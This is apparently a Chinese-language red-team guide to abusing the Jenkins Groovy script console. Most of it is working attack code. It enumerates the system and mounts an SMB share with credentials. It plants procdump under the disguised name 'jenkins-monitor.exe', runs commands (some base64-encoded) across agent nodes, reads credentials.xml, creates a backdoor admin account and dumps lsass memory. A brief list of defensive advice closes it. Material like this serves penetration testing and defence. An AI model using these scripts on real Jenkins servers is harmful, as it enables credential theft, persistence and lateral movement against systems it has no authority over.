Jenkins groovy scripts for read teamers and penetration testers
字数 562 2025-08-25 22:58:28
Jenkins Groovy脚本渗透测试指南
前言
Jenkins是一个开源的自动化工具,配备各类插件用于持续集成和持续开发。它提供了Groovy脚本控制台,允许在Jenkins运行时执行任意Groovy脚本,这为渗透测试和红队行动提供了强大的攻击面。
Groovy简介
Groovy是一种兼容Java语法的面向对象编程语言,兼具静态和动态特性,功能类似Python、Ruby等脚本语言。它既可作为编程语言使用,也可作为Java平台的脚本语言。
Groovy基础操作
文件系统操作
列出文件和文件夹
dir = new File("..\\..\\")
dir.eachFile {
println it
}
读取文件内容
String fileContents = new File('C:\\USERS\\username\\desktop\\something.conf').text
删除文件
deleteme = new File('C:\\target\\filename.exe')
deleteme.delete()
创建文件
createme = new File("C:\\target\\filename.exe")
createme.createNewFile()
复制/移动文件
src = new File("P:\\tools\\procdump64.exe")
dest = new File("C:\\users\\username\\jenkins-monitor.exe")
dest << src.bytes
系统信息收集
打印环境变量
def env = System.getenv()
println "${env}"
执行系统命令
println "whoami".execute().text
println "systeminfo".execute().text
网络操作
挂载网络共享
println "net use P: \\\\192.168.1.42\\ShareName /user:MACHINE\\user MountPassword".execute().text
高级渗透技术
横向移动技术
在从节点执行命令
import hudson.util.RemotingDiagnostics;
def jenkins = Jenkins.instance
def computers = jenkins.computers
command = 'println "whoami".execute().text'
computers.each{
if (it.hostName){
println RemotingDiagnostics.executeGroovy(command, it.getChannel());
}
}
Base64编码的横向移动
import hudson.util.RemotingDiagnostics;
def jenkins = Jenkins.instance
def computers = jenkins.computers
def command = 'ZGlyID0gbmV3IEZpbGUoJ2M6XFwnKQpkaXIuZWFjaEZpbGUgewoJcHJpbnRsbiBpdAp9Cg=='
byte[] decoded = command.decodeBase64()
payload = new String(decoded)
computers.each{
if (it.hostName){
println RemotingDiagnostics.executeGroovy(payload, it.getChannel());
}
}
凭证提取技术
Jenkins的credentials.xml文件通常包含用户名、密码和私钥等敏感信息:
String creds = new File('path/to/credentials.xml').text
后门账户创建
import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("USERNAME","PASSWORD")
instance.setSecurityRealm(hudsonRealm)
instance.save()
内存凭证提取
使用procdump提取lsass进程内存:
println "C:\\users\\username\\jenkins-monitor.exe -accepteula -64 -ma lsass.exe C:\\users\\username\\lsass.dmp".execute().text
防御建议
- 严格控制Groovy脚本控制台的访问权限
- 定期审计Jenkins账户和权限设置
- 监控异常的系统命令执行
- 限制Jenkins服务器的网络访问
- 定期检查credentials.xml等敏感文件权限